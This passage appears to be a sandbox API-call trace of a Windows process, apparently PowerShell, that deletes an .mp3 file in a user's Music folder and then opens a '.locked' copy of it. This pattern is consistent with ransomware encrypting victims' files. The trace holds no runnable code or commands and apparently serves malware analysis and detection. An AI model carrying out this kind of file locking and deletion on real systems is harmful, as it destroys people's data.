lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3\\", lpFilePart=0x0) returned 0x48 [0133.852] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.853] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.853] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.853] CoTaskMemFree (pv=0x8eb8930) [0133.854] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0133.854] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.854] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6ade004 | out: lpFileInformation=0x6ade004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e8b7250, ftCreationTime.dwHighDateTime=0x1d4ab6f, ftLastAccessTime.dwLowDateTime=0xa0b83400, ftLastAccessTime.dwHighDateTime=0x1d4a6cd, ftLastWriteTime.dwLowDateTime=0xa0b83400, ftLastWriteTime.dwHighDateTime=0x1d4a6cd, nFileSizeHigh=0x0, nFileSizeLow=0x2865)) returned 1 [0133.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.855] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 1 [0133.857] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.857] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.857] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.857] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.857] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.858] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3.locked")) returned 0x20 [0133.858] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3.locked")) returned 0x20 [0133.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", lpFilePart=0x0) returned 0x4e [0133.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", lpFilePart=0x0) returned 0x4e [0133.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.859] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0133.859] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.859] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.859] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.860] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.861] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.861] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.861] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.863] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.863] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.863] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.863] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.863] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.864] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.864] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.864] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.864] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.867] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.867] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.867] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.867] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.867] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.868] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aefa08 | out: lpFileInformation=0x6aefa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fe77b3, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12fe77b3, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13011093, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x2884)) returned 1 [0133.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.869] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", lpFilePart=0x0) returned 0x4e [0133.870] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.870] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.870] CloseHandle (hObject=0x858) returned 1 [0133.871] GetConsoleOutputCP () returned 0x1b5 [0133.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.872] GetConsoleOutputCP () returned 0x1b5 [0133.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.872] GetConsoleOutputCP () returned 0x1b5 [0133.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.873] GetConsoleOutputCP () returned 0x1b5 [0133.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.874] GetConsoleOutputCP () returned 0x1b5 [0133.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.875] GetConsoleOutputCP () returned 0x1b5 [0133.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.875] GetConsoleOutputCP () returned 0x1b5 [0133.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.876] GetConsoleOutputCP () returned 0x1b5 [0133.877] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.877] GetConsoleOutputCP () returned 0x1b5 [0133.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.878] GetConsoleOutputCP () returned 0x1b5 [0133.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.878] GetConsoleOutputCP () returned 0x1b5 [0133.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.879] GetConsoleOutputCP () returned 0x1b5 [0133.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.879] GetConsoleOutputCP () returned 0x1b5 [0133.879] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.879] GetConsoleOutputCP () returned 0x1b5 [0133.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.880] GetConsoleOutputCP () returned 0x1b5 [0133.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.880] GetConsoleOutputCP () returned 0x1b5 [0133.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.881] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.881] GetConsoleOutputCP () returned 0x1b5 [0133.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.881] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.881] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b16914*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6b16914*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.882] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.882] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, 